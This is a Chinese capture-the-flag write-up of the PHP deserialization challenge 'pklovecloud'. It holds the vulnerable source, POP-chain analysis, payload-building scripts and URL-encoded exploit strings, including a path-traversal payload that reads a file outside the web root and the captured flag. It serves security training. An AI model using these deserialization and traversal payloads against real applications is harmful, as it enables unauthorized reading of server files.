[第五空间 2021]pklovecloud
[第五空间 2021]pklovecloud
题目来源:nssctf
题目类型:web
涉及考点:POP链
1. 先做代码审计
<?php
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>
- pkshow类没啥用,不用管
- 最底下 if 条件语句出现反序列化,往上找POP链
- ace类中的echo_name方法中存在文件包含,则POP链结尾为
ace::echo_name()
- acp类中,
__toString()
里出现了echo_name()
,因此我们想到令acp->cinder=new ace()
综上,POP链构造如下:
acp::__construct()-->acp::__toString()-->ace::echo_name()
有关反序列化及POP链相关知识点详见:[NISACTF 2022]popchains
2. 构造payload
问题的关键在于如何满足强比较$this->openstack->neutron === $this->openstack->nova
,因为我们不知道$heat
的值,所以我们在构造$docker
这个序列化字符串的时候就不知道如何赋值,这里看到一个很骚的方法,即利用NULL===NULL
,对$docker
赋值为空即可绕过,因此我们构造payload:
<?php
class acp
{
public $cinder;
public $neutron;
public $nova;
}
class ace
{
public $filename;
public $openstack;
public $docker;
}
$a = new acp();
$b = new ace();
$a->cinder = $b;
$b->docker = '';
$b->filename = "flag.php";
echo serialize($a);
?>
得到如下序列化字符串:
O:3:"acp":3:{s:9:" * cinder";O:3:"ace":3:{s:8:"filename";s:8:"flag.php";s:9:"openstack";N;s:6:"docker";s:0:"";}s:7:"neutron";N;s:4:"nova";N;}
记得做url编码,最终传入的payload如下:
/?pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A6%3A%22cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A0%3A%22%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
但是传入后回显error 500
,这里实在不知道怎么办了,放一下官方的wp吧:
<?php
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new ace();
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function __construct()
{
$this->filename = "flag.php";
$this->docker = 'O:8:"stdClass":2:{s:7:"neutron";s:1:"a";s:4:"nova";R:2;}';
}
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova) {
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
$cls = new acp();
echo urlencode(serialize($cls))."\n";
echo $cls;
关于R在序列化中的运用,这里放个传送门:PHP反序列化&POP链的构造 侵删请联系!!
最后传入payload:
/?pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A56%3A%22O%3A8%3A%22stdClass%22%3A2%3A%7Bs%3A7%3A%22neutron%22%3Bs%3A1%3A%22a%22%3Bs%3A4%3A%22nova%22%3BR%3A2%3B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
然后检查源代码可以看到flag所在地址:
我们修改一下payload,这里还涉及到目录遍历,具体如下:
/?pks=O:3:"acp":3:{s:9:"%00*%00cinder";O:3:"ace":3:{s:8:"filename";s:34:"../../../../../../nssctfasdasdflag";s:9:"openstack";N;s:6:"docker";s:17:"O:6:"pkshow":0:{}";}s:7:"neutron";N;s:4:"nova";N;}
%00那里是空格
url编码一下:
/?pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A34%3A%22..%2F..%2F..%2F..%2F..%2F..%2Fnssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A17%3A%22O%3A6%3A%22pkshow%22%3A0%3A%7B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
最终得到flag:
NSSCTF{ec54919f-1dfd-438d-baf8-25521ad119cb}
3. 小结
不知道是不是题目环境的问题,NULL绕过一直传不成功。另外关于R在序列化中的运用也没看太明白,后续理解好了应该会再补充一下。
日期:2023.8.6
作者:y0Zero